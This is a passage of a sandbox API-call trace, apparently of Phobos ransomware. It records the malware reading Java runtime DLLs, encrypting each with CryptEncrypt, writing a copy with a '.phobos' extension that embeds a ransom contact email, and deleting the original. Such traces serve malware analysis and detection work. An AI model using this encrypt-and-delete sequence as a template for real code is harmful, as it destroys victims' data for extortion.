WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0137.496] CryptDestroyKey (hKey=0x753018) returned 1 [0137.496] CloseHandle (hObject=0x308) returned 1 [0137.496] CloseHandle (hObject=0x2f4) returned 1 [0137.496] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll")) returned 1 [0137.498] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0137.498] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0137.498] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=36928) returned 1 [0137.498] CloseHandle (hObject=0x2f4) returned 1 [0137.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 0x20 [0137.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0137.498] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0137.498] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0137.498] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0137.498] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0137.499] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752c58) returned 1 [0137.499] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0137.499] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x9040, lpOverlapped=0x0) returned 1 [0137.603] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x9050, dwBufLen=0x9050 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x9050) returned 1 [0137.603] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x9050, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x9050, lpOverlapped=0x0) returned 1 [0137.605] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752cd8) returned 1 [0137.605] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0137.605] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0137.605] CryptDestroyKey (hKey=0x752cd8) returned 1 [0137.605] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0137.605] CryptDestroyKey (hKey=0x752c58) returned 1 [0137.605] CloseHandle (hObject=0x2f4) returned 1 [0137.605] CloseHandle (hObject=0x308) returned 1 [0137.605] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 1 [0137.606] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0137.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0137.606] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=653888) returned 1 [0137.606] CloseHandle (hObject=0x308) returned 1 [0137.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 0x20 [0137.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0137.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0137.607] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0137.607] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0137.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0137.607] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752c58) returned 1 [0137.607] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0137.607] ReadFile (in: hFile=0x308, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x9fa40, lpOverlapped=0x0) returned 1 [0138.499] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x9fa50, dwBufLen=0x9fa50 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x9fa50) returned 1 [0138.500] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x9fa50, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x9fa50, lpOverlapped=0x0) returned 1 [0138.509] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x753098) returned 1 [0138.509] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0138.509] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0138.509] CryptDestroyKey (hKey=0x753098) returned 1 [0138.509] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0138.509] CryptDestroyKey (hKey=0x752c58) returned 1 [0138.509] CloseHandle (hObject=0x308) returned 1 [0138.509] CloseHandle (hObject=0x2f4) returned 1 [0138.509] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 1 [0138.514] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0138.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0138.514] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=829264) returned 1 [0138.514] CloseHandle (hObject=0x2f4) returned 1 [0138.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 0x20 [0138.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0138.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0138.515] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0138.515] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0138.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0138.515] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752c58) returned 1 [0138.515] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0138.515] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0xca750, lpOverlapped=0x0) returned 1 [0139.170] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0xca760, dwBufLen=0xca760 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0xca760) returned 1 [0139.171] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xca760, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xca760, lpOverlapped=0x0) returned 1 [0139.182] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x7530d8) returned 1 [0139.182] CryptSetKeyParam (hKey=0x7530d8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0139.182] CryptEncrypt (in: hKey=0x7530d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0139.182] CryptDestroyKey (hKey=0x7530d8) returned 1 [0139.182] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0139.183] CryptDestroyKey (hKey=0x752c58) returned 1 [0139.183] CloseHandle (hObject=0x2f4) returned 1 [0139.183] CloseHandle (hObject=0x308) returned 1 [0139.183] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 1 [0139.189] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0139.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0139.189] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=96832) returned 1 [0139.189] CloseHandle (hObject=0x308) returned 1 [0139.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll")) returned 0x20 [0139.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0139.189] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0139.190] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0139.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0139.190] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752c58) returned 1 [0139.190] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0139.190] ReadFile (in: hFile=0x308, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x17a40, lpOverlapped=0x0) returned 1 [0139.274] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x17a50, dwBufLen=0x17a50 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x17a50) returned 1 [0139.274] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x17a50, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x17a50, lpOverlapped=0x0) returned 1 [0139.276] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752d58) returned 1 [0139.276] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0139.276] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x30, dwBufLen=0x30 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x30) returned 1 [0139.276] CryptDestroyKey (hKey=0x752d58) returned 1 [0139.276] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xe2, lpOverlapped=0x0) returned 1 [0139.276] CryptDestroyKey (hKey=0x752c58) returned 1 [0139.276] CloseHandle (hObject=0x308) returned 1 [0139.276] CloseHandle (hObject=0x2f4) returned 1 [0139.276] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll")) returned 1 [0139.278] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0139.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0139.278] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=60480) returned 1 [0139.278] CloseHandle (hObject=0x2f4) returned 1 [0139.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll")) returned 0x20 [0139.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0139.278] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0139.278] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0139.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0139.279] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752c58) returned 1 [0139.279] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0139.279] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0xec40, lpOverlapped=0x0) returned 1 [0139.444] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0xec50, dwBufLen=0xec50 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0xec50) returned 1 [0139.444] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xec50, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xec50, lpOverlapped=0x0) returned 1 [0139.445] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752e98) returned 1 [0139.445] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0139.445] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x30, dwBufLen=0x30 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x30) returned 1 [0139.445] CryptDestroyKey (hKey=0x752e98) returned 1 [0139.445] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xe2, lpOverlapped=0x0) returned 1 [0139.445] CryptDestroyKey (hKey=0x752c58) returned 1 [0139.445] CloseHandle (hObject=0x2f4) returned 1 [0139.445] CloseHandle (hObject=0x308) returned 1 [0139.446] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll")) returned 1 [0139.447] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0139.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0139.447] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=19008) returned 1 [0139.447] CloseHandle (hObject=0x308) returned 1 [0139.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll")) returned 0x20 [0139.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0139.447] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0139.447] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0139.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0139.448] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x753018) returned 1 [0139.448] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0139.448] ReadFile (in: hFile=0x308, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x4a40, lpOverlapped=0x0) returned 1 [0139.521] CryptEncrypt (in: hKey=0x753018, hHash=0x0, 